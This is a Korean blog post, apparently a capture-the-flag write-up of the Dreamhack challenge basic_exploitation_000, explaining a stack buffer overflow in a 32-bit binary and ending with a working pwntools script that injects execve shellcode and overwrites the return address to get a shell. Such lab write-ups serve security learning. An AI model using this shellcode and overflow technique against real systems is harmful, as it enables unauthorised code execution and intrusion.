본문 바로가기

Dreamhack - basic_exploitation_000 본문

wargame/DreamHack

Dreamhack - basic_exploitation_000

Seongjun_You 2021. 11. 3. 16:53

https://dreamhack.io/wargame/challenges/2/

 

basic_exploitation_000

Description 이 문제는 서버에서 작동하고 있는 서비스(basicexploitation000)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "fla

dreamhack.io

dreamhack pwn문제를 풀어보겠다.

 

문제 정보이다. 되도록 서버 환경과 맞추어 주는 게 정신적으로 편할 것이다.

보호 기법은 모두 적용되어 있지 않다.

 

32-bit 구조의 프로그램이다.

 

 

 

소스코드를 확인해보겠다.

buf가 126바이트의 크기로 할당되었지만 입력은 141byte를 받을 수 있으므로 BOF가 발생한다.

 

 

 

 

binary파일을 실행시켜보도록 하겠다.

처음 파일을 옮기면 흰색으로 되어있을 것이다.

이 상태에서는 파일이 실행되지 않는다.

실행 권한을 부여해주여야 한다.

 

 

권한을 부여 주해면 색이 변한다.

 

 

 

실행시켜보니 buf 주소가 나오고 입력을 받을 수 있다.

 

 

gdb를 통해 확인해보겠다.

buf는 [ebp-0x80]에 위치한다.

*main+42에 bp를 걸고 입력을 받은 후에 상황을 확인해보겠다.

 

A*8개를 입력했고 buf의 주소는 0xffffd0d8이라고 한다.

 

 

 

입력한 A*8가 0xffffd0d8에 들어가 있는 모습이다.

0xffffd0d8이 buf배열의 주소라는 것을 확인했다.

 

이런 식으로도 스택의 주소를 찾을 수 있다.

 

 

exploit 시나리오를 구성해보자

일단 ret의 주소는 dummy * 132 다음에 존재한다.

왜냐하면 buf(128) + sfp(4) = 132이기 때문이다.

페이로드는 처음 shellcode 26byte짜리를 넣고 dummy를 106byte 넣어준 후 ret자리에 buf의 주소를 입력한다.

 

exploit_code

from pwn import *
p = remote("host1.dreamhack.games", port)
p.recvuntil("buf = (")
buf_address = int(p.recv(10), 16)
code = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
code += b"A"*106 
code += p32(buf_address)
p.send(code)
p.interactive()

shell을 땄다.

'wargame > DreamHack' 카테고리의 다른 글

off_by_one_001  (0) 2021.11.28
Dreamhack - off_by_one_000  (0) 2021.11.15
Dreamhack - basic_exploitation_003  (0) 2021.11.03
Dreamhack - basic_exploitation_002  (0) 2021.11.03
Dreamhack - basic_exploitation_001  (0) 2021.11.03
Comments